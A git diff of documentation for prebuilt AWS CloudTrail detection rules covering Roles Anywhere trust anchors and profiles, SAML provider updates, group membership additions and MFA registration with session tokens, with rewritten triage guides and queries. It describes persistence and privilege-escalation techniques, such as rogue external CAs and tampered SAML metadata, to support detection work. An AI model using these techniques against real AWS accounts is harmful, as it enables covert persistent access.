+    Confirm these operations are sourced from known automation accounts or IP ranges.
+- **Development and testing**
+  - Lab or sandbox accounts may test Roles Anywhere configurations with less restrictive controls. 
+    Ensure alerts from non-production accounts are tuned accordingly.
 
-- **Legitimate Administrative Actions**: Confirm if the profile creation aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems.
-- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm.
-- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the profile creation was successful and intended according to policy.
 
+*Response and remediation:*
 
-*Response and Remediation:*
 
+- **Immediate review and containment**
+  - If unauthorized, disable or delete the created profile (`aws rolesanywhere delete-profile`) and review all 
+    associated IAM roles for misuse.
+  - Rotate any credentials or revoke certificates issued from unapproved trust anchors.
 
-- **Immediate Review and Reversal if Necessary**: If the profile creation was unauthorized, disable or delete the created profile and review the associated roles and permissions for any potential misuse.
-- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive roles or unexpected locations.
-- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning profile and role management and the risks of unauthorized profile creation.
-- **Audit IAM Policies and Permissions**: Conduct a comprehensive audit of all IAM policies and associated permissions to ensure they adhere to the principle of least privilege.
-- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences.
+- **Investigation**
+  - Search CloudTrail for additional related actions by the same identity, such as 
+    `CreateTrustAnchor`, `AssumeRoleWithCertificate`, or cross-account access attempts.
+  - Verify whether any sessions have been initiated using the new profile and identify 
+    which roles were assumed.
 
+- **Recovery and hardening**
+  - Restrict `rolesanywhere:CreateProfile` to a small set of administrative roles.
+  - Implement AWS Config or Security Hub controls to alert on unauthorized or overly 
+    permissive Roles Anywhere profiles.
+  - Audit IAM role trust policies linked to external anchors and ensure adherence to the 
+    principle of least privilege.
+  - Review and document all approved Roles Anywhere profiles and their corresponding trust anchors.
 
-*Additional Information:*
 
+*Additional information*
 
-For further guidance on managing AWS IAM Roles Anywhere profiles and securing AWS environments, refer to the https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html[AWS Roles Anywhere documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on profile management and potential abuse:
-- https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateProfile.html[AWS IAM Roles Anywhere Profile Creation API Reference]
-- https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/[Ermetic Blog - Managing Third Party Access]
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
 
 ==== Rule query
@@ -102,7 +153,7 @@ For further guidance on managing AWS IAM Roles Anywhere profiles and securing AW
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail
+event.dataset: aws.cloudtrail
     and event.provider: rolesanywhere.amazonaws.com
     and event.action: CreateProfile
     and event.outcome: success
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc
index c353801817..8b95644488 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc
@@ -1,9 +1,9 @@
 [[aws-iam-roles-anywhere-trust-anchor-created-with-external-ca]]
 === AWS IAM Roles Anywhere Trust Anchor Created with External CA
 
-Identifies when an AWS IAM Roles Anywhere Trust Anchor with an external certificate authority is created. AWS Roles Anywhere profiles are legitimate profiles that can be created by administrators to allow access from any location. This rule detects when a trust anchor is created with an external certificate authority that is not managed by AWS Certificate Manager Private Certificate Authority (ACM PCA). Adversaries may accomplish this to maintain persistence in the environment.
+Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs.
 
-*Rule type*: query
+*Rule type*: eql
 
 *Rule indices*: 
 
@@ -14,9 +14,9 @@ Identifies when an AWS IAM Roles Anywhere Trust Anchor with an external certific
 
 *Risk score*: 47
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -36,7 +36,7 @@ Identifies when an AWS IAM Roles Anywhere Trust Anchor with an external certific
 * Tactic: Persistence
 * Resources: Investigation Guide
 
-*Version*: 5
+*Version*: 6
 
 *Rule authors*: 
 
@@ -52,48 +52,88 @@ Identifies when an AWS IAM Roles Anywhere Trust Anchor with an external certific
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to suit your operational needs.
+
 
 *Investigating AWS IAM Roles Anywhere Trust Anchor Created with External CA*
 
 
-This rule detects when an AWS IAM Roles Anywhere Trust Anchor with an external certificate authority is created. AWS Roles Anywhere profiles are legitimate profiles that can be created by administrators to allow access from any location. This rule identifies when a trust anchor is created with an external certificate authority that is not managed by AWS Certificate Manager Private Certificate Authority (ACM PCA). Adversaries may accomplish this to maintain persistence in the environment.
+AWS IAM Roles Anywhere allows workloads outside AWS (such as on-premises servers or CI/CD agents) to assume AWS IAM roles by presenting X.509 certificates. A trust anchor defines which certificate authority (CA) AWS trusts to validate 
+these external identities. Normally, organizations use AWS Certificate Manager Private CA (ACM PCA) to control issuance 
+and revocation. 
+
+This detection rule identifies when a trust anchor is created using an **external CA** (`sourceType= "CERTIFICATE_BUNDLE" or "SELF_SIGNED_REPOSITORY"`) rather than an ACM-managed CA (`sourceType="AWS_ACM_PCA"`). This can indicate an adversary establishing persistent external access, enabling them to authenticate using certificates signed by their own CA.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`.
+  - Determine whether this user or role is normally responsible for IAM configuration or Roles Anywhere setup.
+
+- **Review the trust anchor details**
+  - In `aws.cloudtrail.request_parameters`, confirm the `sourceType` and inspect the certificate chain.
+  - Look for non-AWS issuer names, custom organization fields, or self-signed CA certificates.
+
+- **Assess the scope and risk**
+  - Identify which IAM roles are linked to this trust anchor via `Profile` associations.
+  - Determine whether any of those roles provide privileged or cross-account access.
+  - Check for subsequent API calls like `CreateProfile`, `CreateRole`, or `AssumeRoleWithCertificate` to gauge whether 
+    the external CA has been used.
 
+- **Correlate related activity**
+  - Search for preceding reconnaissance or setup activity:
+    - `ListTrustAnchors`, `ListProfiles`, `GetRole`
+    - Attempts to create additional credential paths (`CreateAccessKey`, `CreateOpenIDConnectProvider`)
+  - Investigate other actions by the same user identity, particularly IAM role or trust policy modifications.
 
-*Possible Investigation Steps:*
+- **Validate legitimacy**
+  - Confirm with identity management or security engineering teams whether the external CA is an approved authority.
+  - Review internal PKI or certificate inventories to ensure this CA is registered in the organization’s trust chain.
 
 
-- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Verify if this actor typically performs such actions and if they have the necessary permissions.
-- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific details of the trust anchor creation. Look for any unusual parameters that could suggest unauthorized or malicious modifications.
-- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access.
-- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the trust anchor was created. Changes during non-business hours or outside regular maintenance windows might require further scrutiny.
-- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in other potentially suspicious activities.
-- **Verify the Certificate Authority**: Ensure that the external certificate authority used is authorized and recognized. Unauthorized external CAs can be a red flag for malicious activity.
+*False positive analysis*
 
 
-*False Positive Analysis:*
+- **Legitimate external CA use**
+  - Some organizations integrate trusted third-party PKI providers (e.g., Venafi, DigiCert, Entrust) for workload identity management. Validate whether the CA is part of your documented PKI ecosystem.
+- **Testing and lab accounts**
+  - Development or testing environments may temporarily use self-signed certificates to validate Roles Anywhere integrations.
+  - Confirm that such activity occurs in isolated accounts and not in production.
+- **Expected administrative setup**
+  - Initial configuration by security engineers or platform teams may trigger this rule. Verify via change tickets or 
+    deployment logs before treating as suspicious.
 
 
-- **Legitimate Administrative Actions**: Confirm if the trust anchor creation aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems.
-- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm.
-- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the creation was successful and intended according to policy.
+*Response and remediation*
 
 
-*Response and Remediation:*
+- **Containment**
+  - If the CA is unauthorized, immediately delete the trust anchor using 
+    `aws rolesanywhere delete-trust-anchor --trust-anchor-id <id>`.
+  - Review for any certificates already used to assume roles and revoke those certificates from the external CA.
 
+- **Investigation**
+  - Identify all IAM Roles Anywhere profiles linked to the trust anchor (`ListProfiles`).
+  - Check CloudTrail for any successful `AssumeRoleWithCertificate` calls associated with the external CA.
+  - Assess whether lateral movement or data exfiltration occurred after the trust anchor creation.
 
-- **Immediate Review and Reversal if Necessary**: If the creation was unauthorized, remove the trust anchor and revoke any associated permissions.
-- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving the creation of trust anchors with external certificate authorities.
-- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning IAM Roles Anywhere and the use of certificate authorities.
-- **Audit IAM Roles and Policies**: Conduct a comprehensive audit of all IAM roles and associated policies to ensure they adhere to the principle of least privilege.
-- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences.
+- **Recovery and hardening**
+  - Replace unauthorized CAs with ACM PCA-managed ones.
+  - Restrict `rolesanywhere:CreateTrustAnchor` permissions to security administrators only.
+  - Monitor for new trust anchor creations and external certificate sources via AWS Config rules or Security Hub findings.
+  - Implement GuardDuty or Security Hub integrations to detect anomalous IAM and Roles Anywhere behavior.
 
 
-*Additional Information:*
+*Additional information*
 
 
-For further guidance on managing IAM Roles Anywhere and securing AWS environments, refer to the https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html[AWS IAM Roles Anywhere documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on IAM roles and trust anchors:
-- https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html[AWS IAM Roles Anywhere Introduction]
-- https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/[Ermetic Blog on IAM Users and Third Parties]
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
 
 ==== Rule query
@@ -101,11 +141,11 @@ For further guidance on managing IAM Roles Anywhere and securing AWS environment
 
 [source, js]
 ----------------------------------
-event.dataset: aws.cloudtrail
-    and event.provider: rolesanywhere.amazonaws.com
-    and event.action: CreateTrustAnchor
-    and event.outcome: success
-    and not aws.cloudtrail.request_parameters: *sourceType=AWS_ACM_PCA*
+info where event.dataset == "aws.cloudtrail"
+  and event.provider == "rolesanywhere.amazonaws.com"
+  and event.action == "CreateTrustAnchor"
+  and event.outcome == "success"
+  and not stringContains(aws.cloudtrail.request_parameters, "sourceType=AWS_ACM_PCA")
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-saml-provider-updated.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-saml-provider-updated.asciidoc
index 4f17a90921..7b2559fb0c 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-saml-provider-updated.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-saml-provider-updated.asciidoc
@@ -1,7 +1,7 @@
 [[aws-iam-saml-provider-updated]]
 === AWS IAM SAML Provider Updated
 
-Identifies when a user has updated a SAML provider in AWS. SAML providers are used to enable federated access to the AWS Management Console. This activity could be an indication of an attacker attempting to escalate privileges.
+Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring  "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships.
 
 *Rule type*: query
 
@@ -16,7 +16,7 @@ Identifies when a user has updated a SAML provider in AWS. SAML providers are us
 
 *Runs every*: 5m
 
-*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -34,7 +34,7 @@ Identifies when a user has updated a SAML provider in AWS. SAML providers are us
 * Tactic: Privilege Escalation
 * Resources: Investigation Guide
 
-*Version*: 210
+*Version*: 211
 
 *Rule authors*: 
 
@@ -58,54 +58,93 @@ Identifies when a user has updated a SAML provider in AWS. SAML providers are us
 *Investigating AWS IAM SAML Provider Updated*
 
 
-AWS IAM SAML providers facilitate federated access, allowing users to authenticate via external identity providers. Adversaries may exploit this by updating SAML providers to gain unauthorized access or escalate privileges. The detection rule monitors successful updates to SAML providers, flagging potential privilege escalation attempts by correlating specific AWS CloudTrail events.
+AWS IAM SAML providers enable federated authentication between AWS and external identity providers (IdPs), 
+allowing users from trusted domains to access AWS resources without separate credentials. 
+Updating a SAML provider can modify the trust relationship — including the signing certificate or metadata document — 
+and, if abused, may allow an attacker to redirect authentication flows or gain access through a malicious or compromised IdP.
+
+This rule detects successful `UpdateSAMLProvider` API calls that do not originate from AWS Single Sign-On (SSO), 
+as normal SSO operations are filtered out. These changes can be significant because a single unauthorized update 
+can affect all federated authentication in the account.
 
 
 *Possible investigation steps*
 
 
-- Review the AWS CloudTrail logs to identify the user or role associated with the UpdateSAMLProvider event. Check for any unusual or unauthorized users making changes.
-- Examine the context of the UpdateSAMLProvider event, including the time of the event and any associated IP addresses or locations, to identify any anomalies or suspicious patterns.
-- Investigate the history of changes to the specific SAML provider to determine if there have been any recent unauthorized or unexpected modifications.
-- Check for any other related AWS CloudTrail events around the same timeframe, such as changes to IAM roles or policies, which might indicate a broader privilege escalation attempt.
-- Assess the permissions and access levels of the user or role that performed the update to ensure they align with expected privileges and responsibilities.
-- If suspicious activity is confirmed, consider revoking or limiting access for the involved user or role and review the security posture of the AWS environment to prevent future incidents.
+- **Validate the actor and context**
+  - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `user_agent.original` to determine who performed the update.
+  - Confirm if the actor is part of an authorized identity management or platform engineering group.
+  - Review `source.ip` and `cloud.region` fields for unexpected geolocations, IP ranges, or service origins.
+
+- **Assess the scope of the modification**
+  - Parse the `aws.cloudtrail.request_parameters` for updates to `SAMLMetadataDocument` or `Certificate` attributes.
+  - Compare the new metadata with previous versions (available via AWS CLI or AWS Config) to detect unauthorized IdP URLs, 
+    certificates, or assertion endpoints.
+  - Identify whether the change replaced a valid trusted certificate with an unknown or self-signed one.
+
+- **Correlate related IAM and authentication events**
+  - Look for preceding `CreateSAMLProvider` or `DeleteSAMLProvider` activity, as attackers may replace existing trust entities.
+  - Search for follow-up logins (`AssumeRoleWithSAML`) or STS tokens issued shortly after the update — this could indicate 
+    immediate exploitation of the new configuration.
+  - Check for concurrent changes to IAM roles associated with SAML federated access.
+
+- **Confirm authorization**
+  - Coordinate with your identity management team to confirm whether the SAML provider update aligns with 
+    planned IdP maintenance or certificate rotation.
 
 
 *False positive analysis*
 
 
-- Routine administrative updates to SAML providers by authorized personnel can trigger alerts. To manage this, maintain a list of known administrators and their expected activities, and create exceptions for these users in the detection rule.
-- Scheduled updates or maintenance activities involving SAML providers may also result in false positives. Document these activities and adjust the detection rule to exclude events occurring during these scheduled times.
-- Automated scripts or tools used for managing SAML providers can generate alerts if they perform updates. Identify these scripts and their expected behavior, then configure the detection rule to recognize and exclude these specific actions.
-- Changes made by trusted third-party services integrated with AWS IAM might be flagged. Verify the legitimacy of these services and consider adding them to an allowlist to prevent unnecessary alerts.
+- **Planned SSO certificate rotation**
+  - Most legitimate SAML provider updates occur during routine certificate renewals by authorized IdP admins. 
+    Validate that the update timing aligns with planned identity provider operations.
+- **Automated infrastructure processes**
+  - CI/CD or configuration-as-code pipelines may automatically update SAML metadata as part of deployment. 
+    Verify whether this activity matches known automation patterns.
+- **Third-party IdP integrations**
+  - Some integrated SaaS applications update SAML providers programmatically. Confirm the vendor and the originating credentials before closing as benign.
 
 
 *Response and remediation*
 
 
-- Immediately revoke any unauthorized changes to the SAML provider by restoring the previous configuration from backups or logs.
-- Conduct a thorough review of recent IAM activity logs to identify any unauthorized access or privilege escalation attempts associated with the updated SAML provider.
-- Temporarily disable the affected SAML provider to prevent further unauthorized access while the investigation is ongoing.
-- Notify the security team and relevant stakeholders about the incident for awareness and further investigation.
-- Implement additional monitoring and alerting for any future changes to SAML providers to ensure rapid detection of unauthorized modifications.
-- Review and tighten IAM policies and permissions to ensure that only authorized personnel can update SAML providers.
-- Consider implementing multi-factor authentication (MFA) for all users with permissions to modify IAM configurations to enhance security.
+- **Immediate review and containment**
+  - Retrieve the current SAML provider configuration using the AWS CLI (`aws iam get-saml-provider`) 
+    and compare it with the previous known-good state.
+  - If unauthorized changes are confirmed, restore the previous configuration or delete the compromised provider.
+  - Temporarily disable federated login access for affected roles or accounts until validation is complete.
+
+- **Investigation and scoping**
+  - Review CloudTrail logs for related IAM configuration changes, including `CreateRole`, `AttachRolePolicy`, or 
+    `UpdateAssumeRolePolicy` events that may expand federated trust scope.
+  - Identify any `AssumeRoleWithSAML` or `GetFederationToken` events following the update, indicating possible exploitation.
+  - Cross-check logs from your external IdP to verify if unauthorized assertions or logins were attempted post-update.
+
+- **Recovery and hardening**
+  - Limit permissions to modify SAML providers (`iam:UpdateSAMLProvider`) to a dedicated identity management role.
+  - Enforce change control documentation and peer review for all federation configuration changes.
+  - Enable AWS Config to monitor and record SAML provider resource configuration history.
+
+
+*Additional information*
 
-==== Setup
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail
-    and event.provider: iam.amazonaws.com
-    and event.action: UpdateSAMLProvider
-    and event.outcome:success
+event.dataset: "aws.cloudtrail"
+    and event.provider: "iam.amazonaws.com"
+    and event.action: "UpdateSAMLProvider"
+    and event.outcome: "success"
+    and not (source.address: "sso.amazonaws.com" and user_agent.original: "sso.amazonaws.com")
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-user-addition-to-group.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-user-addition-to-group.asciidoc
index 9e3b22d611..70fbd40d7a 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-user-addition-to-group.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-user-addition-to-group.asciidoc
@@ -1,7 +1,7 @@
 [[aws-iam-user-addition-to-group]]
 === AWS IAM User Addition to Group
 
-Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM).
+Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the addition of a user to a specified group in AWS Identity and Acces
 
 *Risk score*: 21
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -34,7 +34,7 @@ Identifies the addition of a user to a specified group in AWS Identity and Acces
 * Tactic: Persistence
 * Resources: Investigation Guide
 
-*Version*: 211
+*Version*: 212
 
 *Rule authors*: 
 
@@ -50,61 +50,70 @@ Identifies the addition of a user to a specified group in AWS Identity and Acces
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 
-*Investigating AWS IAM User Addition to Group*
 
+*Investigating AWS IAM User Addition to Group*
 
-AWS Identity and Access Management (IAM) provides fine-grained access control across all of AWS. With IAM, you can specify who can access which services and resources, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to ensure least-privilege permissions.
 
-This rule looks for the addition of users to a specified user group.
+This rule detects when an IAM user is added to an IAM group via the `AddUserToGroup` API call. If the target group holds elevated privileges, this action may immediately grant that user wide-ranging access useful for credential misuse or lateral movement. This rule helps detect unauthorized privilege escalation via group membership change. Treat as high-risk when the destination group has wide scope (e.g., AdministratorAccess or permissive inline policies).
 
 
 *Possible investigation steps*
 
 
-- Identify the user account that performed the action and whether it should perform this kind of action.
-- Investigate other alerts associated with the user account during the past 48 hours.
-- Contact the account and resource owners and confirm whether they are aware of this activity.
-- Check if this operation was approved and performed according to the organization's change management policy.
-- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.
+- **Identify the actor and target**  
+  - Check `aws.cloudtrail.user_identity.arn` for who added the user.  
+  - From `aws.cloudtrail.request_parameters`, capture `userName` (added user) and `groupName` (destination group).  
+  - Check `source.ip`, `user_agent.original`, `cloud.region` for unusual patterns.
+
+- **Examine the group’s privileges**  
+  - Use `GetGroup`, `ListAttachedGroupPolicies` to see what policies the group holds. Look for `AdministratorAccess`, `iam:*`, `s3:*`, `ec2:*` or cross-account permissions.  
+  - Check whether the group was recently created (`CreateGroup`) or recently escalated (`AttachGroupPolicy`). Common attacker pattern: create > attach policy > add user.
+
+- **Correlate with surrounding activity**  
+  - Look for preceding events by the actor: `AssumeRole`, `GetSessionToken`, `CreateAccessKey`, `AttachGroupPolicy`.  
+  - Follow the added user’s activities after group membership. Look for sensitive operations (e.g., IAM actions, S3 policy changes, EC2 snapshot/AMI activity).
+
 
 
 *False positive analysis*
 
 
-- False positives may occur due to the intended usage of the service. Tuning is needed in order to have higher confidence. Consider adding exceptions — preferably with a combination of user agent and IP address conditions — to reduce noise from onboarding processes and administrator activities.
+- Onboarding or role transitions may legitimately add users to groups.  
+- Automated Identity-Management pipelines may add many users to service groups; validate know
 
 
 *Response and remediation*
 
 
-- Initiate the incident response process based on the outcome of the triage.
-- Disable or limit the account during the investigation and response.
-- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:
-    - Identify the account role in the cloud environment.
-    - Assess the criticality of affected services and servers.
-    - Work with your IT team to identify and minimize the impact on users.
-    - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.
-    - Identify any regulatory or legal ramifications related to this activity.
-- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.
-- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.
-- Consider enabling multi-factor authentication for users.
-- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.
-- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS.
-- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.
-- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+- **Containment**:
+  - If unapproved, remove the user from the group immediately (`RemoveUserFromGroup`) and rotate their access keys.
+  - Temporarily restrict group policy changes while assessing blast radius.
+- **Investigation and scoping**:
+  - Review all actions executed by the newly added user since the change (ex: PutBucketPolicy, CreateAccessKey, PassRole).
+  - Confirm whether other users were added to the same group within the same window. 
+- **Recovery and hardening**: 
+  - Enforce least privilege by redesigning large-group membership. 
+  - Restrict `iam:AddUserToGroup` to only appropriate service principals with approval workflow. 
+  - Create detections for AttachGroupPolicy to powerful policies and for mass AddUserToGroup patterns.
+
 
-==== Setup
+*Additional information*
 
+https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices]
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:AddUserToGroup and event.outcome:success
+event.dataset: aws.cloudtrail and 
+    event.provider: iam.amazonaws.com and 
+    event.action: AddUserToGroup and 
+    event.outcome: success
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc
index d85baf45c4..93bfeb2f13 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc
@@ -1,9 +1,9 @@
 [[aws-iam-virtual-mfa-device-registration-attempt-with-session-token]]
 === AWS IAM Virtual MFA Device Registration Attempt with Session Token
 
-Identifies attempts to register or enable an IAM Virtual MFA device using temporary credentials (access keys starting with 'ASIA'). This may indicate an adversary attempting to escalate privileges or establish persistence using stolen session tokens.
+Detects attempts to create or enable a Virtual MFA device (CreateVirtualMFADevice, EnableMFADevice) using temporary AWS credentials (access keys beginning with ASIA). Session credentials are short-lived and tied to existing authenticated sessions, so using them to register or enable MFA devices is unusual. Adversaries who compromise temporary credentials may abuse this behavior to establish persistence by attaching new MFA devices to maintain access to high-privilege accounts despite key rotation or password resets.
 
-*Rule type*: query
+*Rule type*: eql
 
 *Rule indices*: 
 
@@ -16,7 +16,7 @@ Identifies attempts to register or enable an IAM Virtual MFA device using tempor
 
 *Runs every*: 5m
 
-*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -35,7 +35,7 @@ Identifies attempts to register or enable an IAM Virtual MFA device using tempor
 * Use Case: Identity and Access Audit
 * Resources: Investigation Guide
 
-*Version*: 2
+*Version*: 3
 
 *Rule authors*: 
 
@@ -51,36 +51,83 @@ Identifies attempts to register or enable an IAM Virtual MFA device using tempor
 *Triage and Analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and validated for accuracy and relevance. Always
+> tailor the steps to your organization's environment and operational context.
+
 
 *Investigating AWS IAM Virtual MFA Device Registration Attempt with Session Token*
 
 
-AWS temporary security credentials that begin with `ASIA` indicate they are session tokens. An attempt to create or enable a Virtual MFA device using such credentials is uncommon and may indicate malicious activity.
+Temporary credentials that start with the prefix `ASIA` are generated by the AWS Security Token Service (STS). These
+session tokens are used for short-lived operations and should not be used to modify or register IAM
+authentication mechanisms. This rule detects cases where an IAM user or role uses such temporary credentials to invoke either `CreateVirtualMFADevice` or `EnableMFADevice`.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor and session context**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine the identity and confirm the `ASIA` prefix.  
+  - If you ingest `event.original`, look for `sessionCredentialFromConsole: true` to determine if the temporary token is from a console login session (which uses temporary session tokens in the backend) rather than compromised session tokens.
